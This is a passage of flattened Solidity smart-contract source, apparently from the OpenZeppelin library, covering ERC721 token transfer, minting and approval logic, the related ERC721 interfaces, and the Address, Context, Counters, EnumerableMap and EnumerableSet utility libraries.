approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } /** * @dev Approve `to` to operate on `tokenId` * * Emits an {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../math/SafeMath.sol"; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using SafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {SafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; 